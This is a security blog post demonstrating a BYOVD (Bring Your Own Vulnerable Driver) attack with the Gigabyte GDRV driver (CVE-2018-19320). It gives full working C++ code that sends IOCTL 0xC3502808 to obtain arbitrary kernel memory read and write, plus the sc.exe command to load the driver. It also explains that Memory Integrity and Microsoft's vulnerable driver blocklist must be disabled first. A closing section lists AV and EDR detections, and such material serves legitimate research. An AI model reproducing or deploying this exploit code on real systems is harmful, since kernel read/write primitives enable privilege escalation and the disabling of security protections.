Original text by S12 – 0x12Dark Development
In today’s article, we will look at how kernel read and write primitives can be exploited using a BYOVD (Bring Your Own Vulnerable Driver). To demonstrate this, I will use a classic vulnerable driver called GDRV, which was exploited in CVE-2018–19320.
What exactly is a Kernel Read/Write Primitive?
A kernel read primitive refers to the ability to read arbitrary data from a memory address while executing in kernel mode. This allows an attacker to inspect memory contents that would normally be inaccessible from user mode, including sensitive kernel structures or protected process memory.
A kernel write primitive, on the other hand, refers to the ability to write arbitrary data to a memory address from kernel mode. In other words, it allows an attacker to control both what value is written and where it is written in memory.
Although these primitives are commonly associated with kernel memory access, this is not strictly the case. Since the operations are performed from kernel mode, they can also be used to read from or modify memory belonging to user‑mode processes
In this post, we will demonstrate both arbitrary read and write primitivesexposed by the vulnerable driver. We will start with simple examples operating on user‑mode memory within the same process that issued the IOCTL request, which makes it easier to understand how the primitive behaves and how data flows between user mode and the driver.
After that, we will extend the demonstration to read from kernel memory, specifically from the KUSER_SHARED_DATA structure, which resides at a fixed virtual address and contains various system‑wide information exposed by the kernel.
While these examples are intentionally simple, the real impact of these primitives lies in the fact that they allow an attacker to read or modify arbitrary addresses in kernel memory. This capability enables powerful exploitation techniques such as information disclosure, privilege escalation, kernel object manipulation, and disabling security protections.
So let’s start 😉
Press enter or click to view image in full size

Introduction
Technique Details
The driver can be directly downloaded from the LolDrivers website, following this link:
To load this driver, you will need to disable Windows Memory Integrity and the Microsoft Vulnerable Driver Blocklist, both part of the Kernel Isolationsecurity feature.
But why is this necessary?
This is required because modern versions of Windows include several protections designed to prevent the loading of known vulnerable drivers. Memory Integrity (also known as HVCI) enforces stricter kernel-mode code integrity policies, while the Microsoft Vulnerable Driver Blocklist explicitly blocks drivers that are known to contain security vulnerabilities. Since GDRVis associated with CVE-2018–19323, it is included in this blocklist, preventing it from being loaded unless these protections are disabled
Of course, there are many other vulnerable drivers that expose write primitives and are not included in the Microsoft Vulnerable Driver Blocklist. However, for this public post, I will use a well-known example to demonstrate the technique.
Methodology
To achieve the kernel write primitive capability, we need to follow these logical steps:
- Load driver: First, we need to load the vulnerable driver into the system so that we can interact with it from user mode. This typically involves installing the driver and opening a handle to its device interface
- Find the primitive: Once we have access to the driver, we need to identify the vulnerable IOCTL handler that exposes the read and write primitive. This usually involves reversing the driver (in our case this driver it’s already reversed) to understand how user-controlled input is processed and determining whether it allows writing to arbitrary memory addresses
- Exploit the primitive: Finally, we craft a user-mode program that sends the appropriate IOCTL request with controlled parameters, allowing us to trigger the vulnerability and perform the desired memory write operation
Visual Diagram:
User Application
│
▼
Open Handle to Vulnerable Driver
│
▼
Send Crafted IOCTL
│
▼
Vulnerable IOCTL Handler
│
▼
Arbitrary Memory Write
│
▼
Kernel Write Primitive Achieved
Implementation
Now, let’s look at how to translate that logic into C++ code. I have broken down the most important parts.
To implement this we just need to open a handle to the driver, using something like this:
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
return 1;
}
And then we can just call the IOCTL code that writes a destination address from the kernel driver:
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
And we don’t need anything more to exploit the write primitive let’s check the complete code
Just the same for the read one:
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Read primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
Code:
#include <iostream>
#include <Windows.h>
// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
using namespace std;
typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;
typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;
BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Read primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}
int main(){
cout << "!====================================================================!\n";
cout << "! //////GDRV - BYOVD////// !\n";
cout << "!====================================================================!\n\n";
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
return 1;
}
// Allocate memory in the user space to write data to
// Of course, in a real exploit, you would want to target a specific kernel address instead of user space memory, but this is just an example of how to use the write primitive.
LPVOID memAddress = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!memAddress) {
cout << "Failed to allocate memory. Error code: " << GetLastError() << endl;
CloseHandle(driver);
return 1;
}
BYTE dataToWrite[16] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; // NOP sled as example data
if (!WritePrimitive(driver, memAddress, dataToWrite, sizeof(dataToWrite))) {
VirtualFree(memAddress, 0, MEM_RELEASE);
CloseHandle(driver);
return 1;
}
cout << "Data written to memory address: " << memAddress << endl;
getchar();
// read back the data we just wrote to verify that the read primitive works
BYTE dataRead[16] = { 0 };
if (!ReadPrimitive(driver, dataRead, memAddress, sizeof(dataRead))) {
VirtualFree(memAddress, 0, MEM_RELEASE);
CloseHandle(driver);
return 1;
}
cout << "Data read from memory address: " << memAddress << endl;
for (int i = 0; i < sizeof(dataRead); i++) {
printf("%02X ", dataRead[i]);
}
getchar();
cout << "Read data from the kernel KUSER_SHARED_DATA" << endl;
// read from the KUSER_SHARED_DATA structure to demonstrate reading from a kernel address. The KUSER_SHARED_DATA structure is located at a fixed address in the kernel and contains various system information.
LPVOID kuser_shared_data = (LPVOID)0xFFFFF78000000000; // Address of KUSER_SHARED_DATA
LPVOID offsetBuild = (LPVOID)((BYTE*)kuser_shared_data + 0x260);
BYTE kuserData[4] = { 0 };
if (!ReadPrimitive(driver, kuserData, offsetBuild, sizeof(kuserData))) {
VirtualFree(memAddress, 0, MEM_RELEASE);
CloseHandle(driver);
return 1;
}
cout << "Data read from KUSER_SHARED_DATA:" << endl;
for (int i = 0; i < sizeof(kuserData); i++) {
printf("%02X ", kuserData[i]);
}
getchar();
VirtualFree(memAddress, 0, MEM_RELEASE);
CloseHandle(driver);
return 0;
}
Once we have implemented the WritePrimitive and ReadPrimitivefunctions, the rest of the program is mainly responsible for preparing the environment and demonstrating how both primitives can be used
The code interacts with the vulnerable driver through the IOCTL 0xC3502808, which is associated with the vulnerable functionality in the Gigabyte driver exploited in CVE-2018-19320
Both primitives rely on sending a small structure to the driver using DeviceIoControl. The structure simply contains three fields:
- dst: destination memory address
- src: source memory address
- size: number of bytes to copy
The vulnerable driver trusts these user‑controlled values and performs the copy operation in kernel mode.
Internally, the behavior is something like:
memcpy(dst, src, size)
First, the program allocates a region of memory in user space using VirtualAlloc:
LPVOID memAddress = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
This allocates 0x1000 bytes (one memory page) with read and write permissions. In this example, the allocated memory will be used as the destination address for the write primitive.
Although this memory belongs to the current user-mode process, the write operation will still be performed by the vulnerable driver from kernel mode.
Next, we prepare the data that will be written:
BYTE dataToWrite[16] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
This buffer contains 16 bytes of 0x90, which corresponds to the NOP instruction in x86/x64. Here it is simply used as example data to demonstrate that the write primitive works correctly.
The primitive is then triggered with the following call:
WritePrimitive(driver, memAddress, dataToWrite, sizeof(dataToWrite));
This sends the crafted structure to the driver via DeviceIoControl, causing the vulnerable IOCTL handler to copy size bytes from src to dst
To confirm that the write was successful, the program immediately uses the read primitive to retrieve the contents of the same memory region:
ReadPrimitive(driver, dataRead, memAddress, sizeof(dataRead));
This performs the reverse operation: the driver copies memory from the target address (src) into a buffer controlled by the user (dst). The program then prints the returned bytes to confirm that the values match the original data
This simple verification step demonstrates how the driver exposes both arbitrary read and write capabilities
Reading from Kernel Memory
After validating the primitives using user‑mode memory, the program proceeds to demonstrate a kernel memory read.
The target in this example is the KUSER_SHARED_DATA structure, located at the fixed virtual address:
0xFFFFF78000000000
This structure is mapped into every process and contains various system information maintained by the Windows kernel
The code reads data from an offset inside this structure:
LPVOID offsetBuild = (LPVOID)((BYTE*)kuser_shared_data + 0x260);
You can easily get this offset running in WinDBG app using the following command:
dt nt!_KUSER_SHARED_DATA
The read primitive is then used to copy data from this kernel address into a user buffer:
ReadPrimitive(driver, kuserData, offsetBuild, sizeof(kuserData));
And that’s all
Proof of Concept
Windows 11:
We start loading the driver:
sc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type=kernel && sc.exe start gdrv.sys
And then we just execute the code:

Let’s see the memory address content with System Informer app:

And the memory was copied!
Now let’s run both read operations:
Write primitive sent successfully. Bytes returned: 0
Data written to memory address: 000001C718A80000
Read primitive sent successfully. Bytes returned: 0
Data read from memory address: 000001C718A80000
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
Read data from the kernel KUSER_SHARED_DATA
Read primitive sent successfully. Bytes returned: 0
Data read from KUSER_SHARED_DATA:
58 66 00 00
And then just compare the build with our real build (it is in little indian format) for this reason we need to reverse the bytes to 6658 instead of 5866:

Alright it’s all correct!
Detection
Now it’s time to see if the defenses are detecting this vulnerable driver as malicious
Litterbox
Static:

Yara rules triggered:
SIGNATURE_BASE_VULN_PUA_GIGABYTE_Driver_Jul22_1
Windows_VulnDriver_GDrv_5368078b
Holygrails:

Windows Defender
Detected!
Elastic EDR
Detected!
Kaspersky Free AV
Detected!
Bitdefender Free AV
Detected!
Conclusions
The BYOVD technique remains a powerful method for achieving kernel-level capabilities by abusing legitimately signed but vulnerable drivers. In this post, we demonstrated how the GDRV driver (CVE-2018–19320) can expose a kernel read/write primitive, allowing an attacker to write arbitrary data to a chosen memory address

